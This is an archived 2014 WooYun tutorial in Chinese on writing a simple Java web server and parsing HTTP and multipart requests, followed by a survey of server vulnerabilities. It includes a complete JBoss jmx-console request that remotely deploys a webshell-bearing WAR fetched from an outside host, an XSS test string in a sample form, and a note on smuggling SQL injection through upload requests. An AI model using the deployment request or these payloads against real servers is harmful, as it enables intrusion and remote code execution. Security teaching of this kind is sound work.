# 攻击JavaWeb应用[9]-Server篇[2]

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-01-22T04:58:00Z
Canonical: https://wepostx.com/topics/338

> 乌云历史资料归档
>
> **原始作者：** 园长
> **原始编号：** superkieran-wooyundrops:134
> **原始发布时间：** 2014-01-22 12:58
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

注：在继后门篇后已经有很长时间没更新了，这次一打算写写Server[1]的续集。喜欢B/S吗？那我们今天干脆就来写一个简单的“Web服务器”吧。

## 0x01 WebServer

Web服务器可以解析(handles)HTTP协议。当Web服务器接收到一个HTTP请求(request)，会返回一个HTTP响应(response)，例如送回一个HTML页面。
Server篇其实还缺少了JBOSS和Jetty，本打算放到Server[2]写的。但是这次重点在于和大家分享B/S实现和交互技术。Server[1]已经给大家介绍了许多由Java实现 的WebServer相信小伙伴们对Server的概念不再陌生了。Web服务器核心是根据HTTP协议解析(Request)和处理(Response)来自客户端的请求，怎样去解析和响应来自客户端的请求正是我们今天的主题。

### B/S交互

![原文图片](/media/2016/06/fbec81c0edba8c08ee16401bd094c928)

浏览器发送HTTP请求。经Internet连接到对应服务器。服务器解析并处理Http请求，返回处理结果到浏览器。浏览器解析服务器返回的数据并显示解析后的网页。
在学习之前需要了解浏览器和Server工作原理，比如什么是HTTP协议什么是Socket。对于更底层的协议暂不提及。

### HTTP协议
HTTP的发展是万维网协会（World Wide Web Consortium）和Internet工作小组（Internet Engineering Task Force）合作的结果，（他们）最终发布了一系列的RFC，其中最著名的RFC 2616，定义了HTTP协议中现今广泛使用的一个版本—HTTP 1.1。
详情： http://www.w3.org/Protocols/
请求http://www.google.com:

![原文图片](/media/2016/06/966a21fa080e5c3987e8218fbd18d5d4)

客户端浏览器发送了一个HTTP请求， 第一行GET / HTTP/1.1即：以GET方式请求“ /” 目录HTTP/1.1是请求的HTTP协议版本。而Google返回的则是一个基于HTTP协议的响应，其中包括了状态码、内容长度、服务器版本、以及返回内容类型等。客户端浏览器发送了一个请求(HttpRequest)，Google服务器返回处理(Handling Request)并响应(HttpResponse)了这个请求。
通俗的说HTTP协议是一种固定的请求格式，只要按照固定的格式去发送请求，服务器就可以按照固定的方式去处理来自客户端的请求。

### Socket：
Socket是应用层与TCP/IP协议族通信的中间软件抽象层，它是一组接口。Socket通常也称作”套接字"，用于描述IP地址和端口，是一个通信链的句柄。在Internet上的主机一般运行了多个服务软件，同时提供几种服务。每种服务都打开一个Socket，并绑定到一个端口上，不同的端口对应于不同的服务。 
![原文图片](/media/2016/06/8c88127f67614f38f81c3bd2d17bcb42)

## 0x01 Java实现Web Server

Oracle提供了一个基础包:java.net用来实现网络应用程序开发。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客户端通过Socket与服务器端建立连接，然后客户端发送请求内容到服务器。服务器接收到请求返回给客户端，请求完成后断开连接。

### 1、Client
发送一个非标准的HTTP请求内容为”Hello...”给SAE服务器: 
![原文图片](/media/2016/06/affd092e2284cd74d7b98bc9e698187e)

请求首先到达了对方监听80端口的nginx，在发现客户端发送的内容不符合HTTP请求规范的同时返回了一个400错误(400 Bad Request)。 发送一个合法的HTTP请求(不截图了，把上面的Hello...换成了req)，即发送：

```text
"GET / HTTP/1.1\r\n"+ "Host: www.wooyun.org\r\n"+ "Connection: keep-alive\r\n"+ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+ "Cookie: bdshare_firstime=1387989676924\r\n\r\n”;
```
服务器返回信息： 
![原文图片](/media/2016/06/130ff5a6aec1c9e4da77fc42bb0abc99)

两次请求的差异在于是否按照HTTP协议发送，当我们随意向目标端口发送请求时，返回了一个错误请求结果。当发送符合HTTP协议的请求时服务器返回了正确的处理结果。所以只需按照HTTP协议去解析请求和响应即可。与此同时不难看出请求头的任何内容都是可以伪造的，这也是之前写cs交互的时候提到为什么不要信任来自客户端的任意请求的根本原因。现在尝试着写一个Server，去解析来自浏览器的请求。
除了使用上面的“冗余代码”去发送HTTP请求，你还可以用oracle自带的URL包去发送HTTP请求会更加简单。通过setRequestProperties一样可以修改请求头。用getHeaderFields就能获取到响应头信息了。

### 2、简单HTTP服务器实现
需再一次看下上面Socket流程图，在服务器上监听某个端口(listen)，等待请求(accept)。一旦有连接到达就开始读取请求内容(read)，然后处理并输出响应内容(write)，最后close。服务器端核心业务是获取请求、解析请求、处理请求、返回响应。
Server.java核心代码: 
![原文图片](/media/2016/06/3f92029b4a6cf3f87a201f3293e497f1)

浏览器请求：http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123 
![原文图片](/media/2016/06/714a35721c6be00254f7e4d3de5e6970)

浏览器请求头：

```text
GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1 Host: 192.168.199.240:9527 Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8
```
现在需要做的是解析请求。在Server里面有一段解析请求的代码：Request req = new Request().parserRequest(sb.toString());//解析请求。具体的需要解析的内容包括：请求头(Header)、请求参数(Parameter)、请求的URI(RequestURI)等。如果是文件上传请求的话还得解析具体的内容(form-data)。 在解析的整个过程没看过RFC文档，只是根据个人理解去实现请求解析，有不对的地方见谅。
首先用换行符切开请求头，得到如下结果：GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1。可见这里是按空格隔开的，用正则的\s就可以切开了当前行了。这样就能简单的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]把他们保存到类的成员变量以便后面调用。
解析请求头比较简单，只需把请求头内容按照key、value方式解析出来就行了。比如：Host: localhost:9527，解析后就成了key＝Host，value＝localhost:9527。parserGET方法就更简单了，把 /wooyun.jsp?user=yzmm&pass=123以”?”号切开后再以”＝”号切开，最终得到的是key=user,value=yzmm、key＝pass，value＝123。

![原文图片](/media/2016/06/e00074a16d618dcb468c97e830d2da32)

![原文图片](/media/2016/06/39fead05e427f877ed3c8fc7ca44cebc)
  处理结果都装在了如下变量：

```text
#!java private String method; private String queryString; private String requstURI; private String host; private Map<String, Object> formContent = new LinkedHashMap<String, Object>(); private Map<String, Object> header = new LinkedHashMap<String, Object>(); private Map<String, Object> parameter = new LinkedHashMap<String, Object>(); private Map<String, Object> multipart = new LinkedHashMap<String, Object>();
```
如果想取出请求参数可以用parameter.get(“xxxx”)就行了，是不是跟javaee有那么些相似了？当请求解析完成后需要去加载请求的文件，比如这里的wooyun.jsp。
当请求处理完后调用getResponse方法把结果输出到浏览器：

```text
#!java public String getResponse(String content){ return "HTTP/1.1 200 OK\r\n"+ "server: "+Constants.SYS_CONFIG_NAME+"\r\n"+ "Date: "+new Date()+"\r\n"+ "X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+ "Content-Type: text/html\r\n"+ "Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+ content; }
```
从上可见服务器的响应信息也是可以任意的。比如我修改了响应中的server的值你就会在浏览器的Response当中看到当前的server是: z7y-server。出现在响应头里面有意思的漏洞有：CRLF注入，有兴趣的小伙伴儿可以了解下。

### 0x02 文件上传请求解析

文件上传请求和普通的GET、POST不一样，在JavaEE里面会把multipart请求封装成一个InputStream对象。如果想要从请求里面解析具体的文件内容需要读取流。值得注意的是multipart/form-data中的input域也会包含在InputStream里面。在JavaEE里面可以用：request.getInputStream();或request.getReader();方法获取。

```text
#!html <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>File Upload</title> </head> <body> <form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data"> 1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/> <input type="file" name="file" /><br/> <input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/> <input type="submit" value="sub" /> </form> </body> </html>
```

![原文图片](/media/2016/06/a056eedc972e95f1e1f96202a9dab36e)

文件域下方Content-Type: text/html实际上隐藏了upload.html的内容，chrome不会在那儿显示。判定一个请求是否是文件上传只需从请求头里面取出Content-Type就行了，如果type是multipart/form-data;即标识当前请求类型是文件上传。
关于文件上传请求解析，我写的比较粗暴了。按照分割线分别把内容域和文件域提取出来，并封装到multipart map里面，它们的key分别是file和para。 
![原文图片](/media/2016/06/6380af05296de1b5bab71ce25f73a1b1)

写文件到”服务器”： 
![原文图片](/media/2016/06/ee891d12eceb12d5badf490a548b2798)

### 文件上传请求安全问题
值得注意的是假如一个文件上传和input域同时出现的情况下，跨站和Sql注入几率会非常的高。因为文件上传会把input域的请求参数封装到流里面，很多时候并没有人会去处理这样的恶意请求。
类似的案例： [WooYun: 360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一](http://www.wooyun.org/bugs/wooyun-2013-044349) 。漏洞提交者在文件上传请求中传递了SQL注入语句，而上面的安全软件的拦截都失效了。。。
据说在PHP里面还存在另外一个问题，文件上传的input域请求会被解析到对应的POST请求对象当中。那么也就是说假设一个站拦截了普通的GET、POST请求，但是没有拦截文件上传的恶意请求。仅需要简单的构造一个上传并传递注入语句就绕过了所谓的防御了。

## 0x03 文件或虚拟路径请求和处理

### 虚拟路径请求处理
在Servlet里面一个Servlet映射的是一个虚拟的路径。比如请求:http://xxx /servlet/hello。这个servlet/hello并不是一个实际存在的文件地址。所以我们请求的wooyun.jsp可以是真实存在的一个文件，也可以是一个虚拟的路径。比如当客户端请求wooyun.jsp的时候我们把请求交给Controller去处理(仿MVC)： 
![原文图片](/media/2016/06/1baead65d6925a705c814d1795b30443)

而我们的控制层假设做了一个请求校验：当user等于yzmm的时候输出Good!，否则输出Error. 
![原文图片](/media/2016/06/3384ff057c2fb1432bddf9d386f0c0da)

分别请求：http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user＝zsy输出都是正常的。 
![原文图片](/media/2016/06/d550fe7cf165daa7c8e3d11419ed17e1)

### 普通的文件请求
假如用户请求的不是虚拟路径而是一个实际存在的文件呢？这个时候就需要把服务器的文件内容读取并返回给客户端。比如把Contoller注掉改为content = readFile(request);这次去读取ROOT下的wooyun.jsp内容。 
![原文图片](/media/2016/06/64a49b23eadba3911bd69db2428507ba)

这次输出了”用户目录/webapps/zsy/ROOT/wooyun.jsp”内容。

## 0x04 Server安全问题

### 文件解析漏洞
服务器在处理请求或其本身可能存在一些安全问题。经典的比如IIS、Nginx解析漏洞。那么是什么原因让Server变得这么”不安全”呢?
在之前的系列里面讲过如果把Tomcat的web.xml的filter添加任意后缀到servlet-name为jsp的Servlet当中，那么所有后缀为.txt的请求都会被当作jsp解析！ 
![原文图片](/media/2016/06/b736579b660af31d013ab7fcc96a743f)

假设Tomcat在写正则的时候一不小心写成了：

```text
#!java Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();
```
那么所有的1.jsp.jpg的请求都会交给jsp对应的servlet处理。跟这类似的漏洞apache曾经就出现过。问题是apache如果在mime.types文件里面没有定义的扩展名，会给解析成倒数第二个定义的扩展名。

### 文件读取漏洞
好吧，这个Tomcat做的有点奇葩。在某些低版本的Tomcat当请求目录并没有找到对应的索引文件，且web.xml的listings是true。于是Tom猫就干脆列出这个目录的所有文件。
Tomcat还出过另一个低级漏洞，当请求的文件是UTF-8编码的时候会造成任意文件遍历漏洞。触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

### War文件部署漏洞
很多时候需要在线上部署一个新的应用时可以在Server的控制台去动态的部署一个war文件（其实就是一个压缩文件包）。Server会自动解压并部署。这虽说是非常的方便，但是却因为Server各自的实现不一或者自身安全意思淡漠导致任意的war文件都可以远程部署到Server中去。这里面的典型代表就是Jboss。请求：

```text
http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war
```
成功后访问：http://192.168.0.113:8080/iswin/index.jsp 菜刀连接（默认包含index.jsp、index.jspx、index.jspf、cmd.jsp三个shell）。
测试版本：jboss-6.1.0.Final。http://p2j.cn/?p=342

![原文图片](/media/2016/06/3e4f87ce09af705109bc70a5c59c4437)

控制台输出信息： 
![原文图片](/media/2016/06/c7acd135c5dd1ad1d220783f18ec69e8)

这货去年十月还出过一个高危的漏洞，同样是远程war部署。
Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE
详情： [http://www.exploit-db.com/exploits/28713/](http://www.exploit-db.com/exploits/28713/) [http://zone.wooyun.org/content/7398](http://zone.wooyun.org/content/7398)
除了上述漏洞某些Server还出过拒绝服务漏洞、控制台弱口令漏洞、爆路径漏洞、WebDAV、XSS等漏洞。可谓想做好一个WebServer是非常的艰难。

## 0x05 Server漏洞防御

在总结了之前的Server安全问题之后，我们有没有想过怎么去防御来自客户端的攻击呢？我们应该如何去防御？这里仅简要介绍防范思路至于防御细节，对不起请自行实现。
防御方式：

```text
1、由远及近，从CDN层我们可以拦截所有的恶意请求。可以尝试在请求到达服务器之前净化请求信息。 2、从网络层可以用硬防处理恶意请求。 3、从服务器层可以写对应的Server拓展(Filter)拦截恶意请求。 4、安装服务器安全软件。 5、在应用层需要尽可能的注重代码编写，如果无法确保安全性可以在应用层写一个安全过滤器。
```
从实现的角度来说前两者的成本较高，效果或许并不会特别明显，后面几种方式显得更轻。
这一期可以说是对Server篇的补充吧，源码没什么水平有兴趣的朋友可以看看(下载地址：http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看过笑笑之后更加“深入”的了解Request和Response吧。原打算写个简易浏览器也没时间了。快过年了，祝小伙伴们新年快乐！

## Replies